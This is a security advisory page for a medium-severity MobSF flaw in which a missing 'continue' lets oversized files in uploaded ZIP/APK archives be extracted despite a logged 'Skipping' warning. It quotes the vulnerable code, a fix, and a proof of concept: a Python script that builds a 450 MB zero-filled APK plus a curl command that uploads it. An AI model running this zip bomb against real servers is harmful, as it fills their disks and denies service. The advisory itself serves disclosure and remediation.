medium

CVE-2026-68924

PyPI · mobsf

Summary

MobSF Vulnerable to Zip Bomb Denial of Service via Per-File Size Limit Bypass in ZIP/APK Extraction

Severity
medium
CVSS
4.9
EPSS
0.6% (p48)
CWE
CWE-400
Also known as
GHSA-x768-8642-mmq9
Published
2026-08-18
Updated
2026-08-18

Advisory details

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.